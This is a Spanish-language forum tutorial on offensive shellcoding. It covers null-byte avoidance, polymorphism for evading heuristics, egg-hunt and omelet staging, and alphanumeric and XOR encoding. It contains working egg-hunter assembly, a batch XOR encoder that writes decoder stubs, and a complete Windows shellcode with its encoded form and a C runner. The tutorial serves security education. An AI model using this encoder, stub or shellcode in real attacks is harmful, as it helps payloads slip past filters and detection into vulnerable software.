[Taller] Shellcoding: No mas bytes nulos!

Iniciado por lShadowl, 26 Febrero 2011, 14:18 PM

0 Miembros y 1 Visitante están viendo este tema.

lShadowl

Shellcoding: No mas bytes nulos!

por lShadowl




Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos ("00", "0D0A") en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver.




Teoria :)

Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit:

Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio.

Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia.

Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada.


>>Printable x86 opcodes table

Como podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son "0D" y "0A" respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte "00" (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar.




+Teoria: otros problemas comunes al codear //clases de shellcodes

->Shellcodes polimorficas:

Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus.

Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado.
Como? veamos de que estoy hablando por medio de relaciones:

a+b=c
b+c=c
1(a+b)=c
(a+(2*3))+(b+6)=c

Como podemos ver, operaciones diferentes, llegan al mismo resultado.
Igual en asm:

{
  xor cx,cx
  add cx,32h
}opcodes: 31C983C132 // cx=32h

{
  xor cx,cx
  mov cl,31h
  inc cx
}opcodes: 31C9B13141 // cx=32h

El primer conjunto de instrucciones "31C983C132" son diferentes al segundo "31C9B13141", sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx.

Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante.

-> Staged shellcodes ~ Shellcode por etapas:

Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una sección de shellcode peque?a que hace funcion de 'stub' cargando el resto de la shellcode estando ya dentro del host.

Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt).

--> Egg-hunt ~ Caceria de huevos:

La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera sección de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra sección de la shellcode).

Veamos un ejemplo:

Código (ASM) [Seleccionar]
egghunt:
jmp startup

exception_handler:
mov eax, [esp + 0x0c]
lea ebx, [eax + 0x7c]
add ebx, 0x3c
add [ebx], 0x07
mov eax, [esp]
add esp, 0x14
push eax
xor eax, eax
ret

startup:
mov eax, 0x42904290         ;marca del huevo, en este caso:
                                    ;nop
                                    ;inc edx
                                    ;nop
                                    ;inc edx
jmp init_exception_handler_skip
init_exception_handler_fwd:
jmp init_exception_handler
init_exception_handler_skip:
call init_exception_handler_fwd

init_exception_handler:
pop ecx
sub ecx, 0x25
push esp
push ecx
xor ebx, ebx
not ebx
push ebx
xor edi, edi
mov fs:[edi], esp

search_loop_begin_pre:
search_loop_start:
xor ecx, ecx
mov cl, 0x2
push edi                    ;posible punto de inicio del huevo a la pila
repe scasd                  ;el puntero actual es el inicio del huevo?
jnz search_loop_failed      ;no, ok sigamos con el siguiente
pop edi                     ;bien, restauramos el punto de inicio
jmp edi                     ;vamos donde esta resto de la shellcode

search_loop_failed:
pop edi
inc edi
jmp search_loop_start


-->Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso  :D:

La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los "huevos" son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola.

Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria.

Veamos por encima las estructuras del SEH:

EXCEPTION_POINTERS Structure:

Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio.

typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
}EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;


EXCEPTION_RECORD Structure:

Describe la excepcion.

typedef struct _EXCEPTION_RECORD {
  DWORD                    ExceptionCode;
  DWORD                    ExceptionFlags;
  struct _EXCEPTION_RECORD *ExceptionRecord;
  PVOID                    ExceptionAddress;
  DWORD                    NumberParameters;
  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
}EXCEPTION_RECORD, *PEXCEPTION_RECORD;


Un ejemplo del w32_SEH_omelet.py de Skypher:
// This is the binary code that needs to be executed to find the eggs,
// recombine the orignal shellcode and execute it. It is 82 bytes:
omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

// These are the eggs that need to be injected into the target process
// for the omelet shellcode to be able to recreate the original shellcode
// (you can insert them as many times as you want, as long as each one is
// inserted at least once). They are 64 bytes each:
egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";





cifrado la shellcode:

Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta sección veremos dos metodos de encripcion: el alfanumerico y el xor.

-->Alfanumerico:

El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta.

---> Ascii art:

"Si vamos a hacer una shellcode, tiene que verse bien."
WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34LZ1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWHHh
28HHXTX38d39GGGGV3717RQXH4A4a1dDb3dDbABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKABh
HH39VTX30VXH4r4PP34tjAX0DqbFkDqjQ2Dqk0D1Hu9YhTtYP6hyUpvsojbdTxAyCPDEMZTDLbprjhbXWISM3YfPmysvndkWTooNqT
DDMJGEIL7"""""""*Y""""YHBDAILHGAMILHG7"""""YBMKNILGIAIGKGEGICAEBGDGNGIFJNDGCDA7*"""7ILPELFACCLOBJJGGLK
DDDCFCG',dIHHHDDb,'CFb`PCLOBNGILPMPDK YKEB7 FB7"""7EBFBFHFBFHINHOOKLAIBDMNDHFA dGJ7 "YFPPFHPMJFFHGAILF
NDMILFM BNH , cIAY DNN ILELCAADMNDDPPb JJE dHI LDE LJADPFKMDEHBCKNADMHBHFPHDKF ECE sa BMHFOKILELCEADMN
APLHDMH JIL,""---, ELB MA7"""*"""7Y*"" 7DM NA7"---dY"""*Y*""*YDY*"""""*YCY*""* MLJ Y J*"""""*YFFPKLFHG
BDLPHKM "YHFLEFOb, KNP P',NA7 dKY  dNP",PN AJ YFLb`.YIAb,dCHb,',dGALDMb,',dGGb,JIF ,',dAFEKNb,'FFPPNAI
FMAHEPI:-----,"JJF CFC ',IN7 dHM d CED EKL MGb EHP B ABK"'*LKL FHF .,EFC FCF*'"CFE F CFC - **Y FGFCPPF
GOEILEG dPM7 O LNJ AAPTCBC(  VEJ T JOH JOH QLB """ B WDZ P QKS LZNGY**"` OGW W ONM Y `"**+uq,.'WPELAFG
VPJLWUR URH "" FYG POI .'FVb YVQ ',PLP GZJ """ "ODb' JXM E XTO COY - pqd ILD,.qOXQ 7 bpp - YKH FFKMSLB
EUSUKOX.'YWMFRRXY',CAY Di'ZQb YIEY"OWP BYOKJACSOKY" dYOS 'dVFB "YXVNQBY","YOUY"YBFb ,"YNFHOQY".WVKQJLV
PUZZLCMFbasouvnandansodGDbuan?---, CKL eanuxzvcumndbuasodbzasudbeasznvodSboezn1ozxvdLbneuoasobXLJYYBFU
VQDTSOVGXSPY7"""""""*Y""""7D dBW"  JXO KU7"""""*"""YEGLJQQLQAKSGBDEMEQLEZHTB7*"""YKKMOPFMUWUXNFJSNPFXV
DRRQAIRQQMG',dTRUKCHb,'SYb`Q."YHXQZSY".IX YONQ7.CM7 CVYAXXNBXGLFHZAKJJFEDTGW dGZ7 IRMYHDUZXIAJXIYXYRMI
MIFQRSWKMJM QVQ', eSCY ZMR RZbaesuozsdFZXb TZH QXJ JJXZYDOSIJOLWJYIIMKVIXAVK NJH dMDTSKTOAHGWBWGIJNLIS
NHNTEDQNQSJ WFX,""---, XSM *""*YLY*"""""*Y EAA FHQ Y*"""""*YIY*"""""*YVY*""* FML Y*"""""*YMAECTMQWHUOY
YFWWCIECNFK "YXIXSEAb, HFF,dSIb,',dYPSBBb, KMH TZT ,dZQNONb,',dNCHOVb,',dMCb,UJP ,dNUSEJb,'KZOIXHNWBVS
GJJKBJSBMXM:-----,"KTM ORX"'*ZUW dHA'.,ZEU SGQ UKA VLO',`**Y OTZ',`PYM NYN*'"PLF MJZ .,PZK RFNIKQUBDHT
QTDWEVEOXGX dVL7 Y JWC TFR Z WIL ZZNMY**"' ZTA CGW OND CT+=- PYQ Z QFA RJC Q GTR CGPXY**"`.YIHIUTGYLFP
IQENEBPJILC NGC,"".FIS IKK C VMZ BKO,-,qqd TUK RVY YFR,'.qqd ENO,'.SAF GZT,.qHLE HQZ - qqd FWSFUKJCEFB
YJASYKFYRCB.'YJFTEXVY',BHY Q YGY,"YJDBBAY",UKMb'GWb`YCABKYY"."YDWYHIY"."YMUY"YCAb"YBIIYNY",IEXZKKUMPQD
PDHBLIWPDBMQbouaenoxzdzzxedBbxoasdenxzsasdoeuneuzas1moxcasedGbzxnmexadPbaeox1xauo1eusazxzdMQGIJYYGPQZZ
AUYYKTZCTAWMTGVCPAMQKGZZZIUASOMJGHRKNLDYLHZYSGDJVXETRKMNMJRUNVIOPGMZHBVXFTXWVCRQBBKJGCZPIYDFDSHGISXZAL
ANUEFFTCYBBZKFUZRIHQPHPYDZJHOWXKUMBNWXGHBCGHWHDYVONRGKECYYRBNTBKDLVNGQZAYMFPJVGZWXZCCJIGSNIJKRTNRZKVZX
XPBMUPTRCDXTGCPOSCTMUQYQOZKYENJPDLZSXUFEUJCNBBZFORBAUMFUGXFCBPQKIPHAJGITAHUNUOKFJAWSZCYASNQDNOBKJBZTUN


>> http://skypher.com/wiki/index.php/Hacking/Shellcode/ASCII_Art/Blocky

Y aqui: ALPHA2, un codificador alfanumerico para shellcodes.

--> XOR-enado

Una shellcode de este tipo consiste en dos partes: el 'stub', que se encarga de decodificar el codigo cifrado y ejecutarlo y el codigo cifrado en si.

Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR.

Veamos el codigo:

Código (DOS) [Seleccionar]

:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
:: -Utiliza el metodo xor para cifrar.
:: -Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
:: -Identifica la existencia de bytes nulos y saltos de linea.
:: -Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
:: -Tama?o maximo de la shellcode de entrada: 61423 bytes
:: -Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
  @echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo jmp short sc_data
echo decode_routine:
echo    pop ebx                   
echo xor ecx,ecx
echo mov cx, 0x%hex: =%
echo sub cx, 0x1010
echo decode_loop:
echo xor byte [ebx], 0x%xor_value%
echo inc ebx
echo loop decode_loop
echo jmp short shellcode
echo sc_data:
echo call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<
goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF


El script esta bastante explicado asi que pasaremos a la prueba:

Usaremos la shellcode creada en el articulo "Creando una Shellcode":

Citar\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00

Como podemos ver, contiene muchos bytes nulos: "\x00".

Veamos la salida al pasarlo por el script:

Citar=Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00
=>  Codificando Opcodes (xor 0x10)...
=Shellcode codificada: \xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10
=>  Moviendo shellcode codificada a sc.shellcode...
=>  Buscando bytes nulos y saltos de linea en sc.shellcode...
=<    \x00 encontrado con: xor 0x10
=>  Codificando Opcodes (xor 0x11)...
=Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11
=>  Moviendo shellcode codificada a sc.shellcode...
=>  Buscando bytes nulos y saltos de linea en sc.shellcode...
=>  Creando codigo fuente del stub decodificador...
****************10c111_decoder.asm********
[BITS 32]
global ini
ini:
   jmp short sc_data      
decode_routine:
     pop ebx                      
   xor ecx,ecx         
   mov cx, 0x10c1
   sub cx, 0x1010         
decode_loop:
   xor byte [ebx], 0x11      
   inc ebx            
   loop decode_loop         
   jmp short shellcode      
sc_data:
   call decode_routine         
shellcode:
*****************************************
=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea:

Citar\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11

---> El Stub:

Estudiemos el stub creado por el script:

Código (ASM) [Seleccionar]
[BITS 32]
global ini
ini:
jmp short sc_data ;obtenemos el puntero al codigo de la shellcode
decode_routine:
  pop ebx                    ;puntero al inicio de la shellcode a ebx
xor ecx,ecx ;ecx a cero
mov cx, 0x10c1           ;tama?o de la shellcode mas 0x1010
sub cx, 0x1010 ;cx menos los 0x1010 a?adidos (la explicacion mas adelante)
decode_loop:
xor byte [ebx], 0x11 ;byte contenido en ebx decodificado
inc ebx ;ebx++
loop decode_loop ;cx=0? no, sigue decodificando
jmp short shellcode ;si, ejecutemos la shellcode
sc_data:
call decode_routine ;puntero a la shellcode a la pila
shellcode:


Veamos las lineas del decodificador:

Código (ASM) [Seleccionar]
mov cx, 0x10c1
sub cx, 0x1010


Y la del codificador:

Código (DOS) [Seleccionar]
set/a sc_sz+=0x1010

Por que es necesario sumar 0x1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como:

Código (ASM) [Seleccionar]
mov cx, 0xb1

???

Si, si es mas sencillo, pero veamoslo en opcodes:

Código (ASM) [Seleccionar]
mov cx, 0x10c1
sub cx, 0x1010

>>B9C11081E91010


Código (ASM) [Seleccionar]
mov cx, 0xb1
>>B9B100

Todo bien, pero notese algo:

B9B100

Un byte nulo, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi,  hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo.

Probando todo

-Tenemos el stub para la shellcode:
Citar\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff

-Tenemos la shellcode codificada:
Citar\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11

Encapsulamos en C:

char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11";

int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}




funciona!! :)




Referencias
Understanding Windows Shellcode
en.wikipedia.org/wiki/Shellcode
skypher.com/wiki/index.php/Main_Page

Articulos mios relacionados al shellcoding:
Creando una Shellcode (x86?win)
Creando una Shellcode: "Direccion de kernel32 y calls especiales"




Saludos!

Linux Registered User #473016

Sarcasm....because arguing with stupid people is not nearly as fun.
-INTJ

jackgris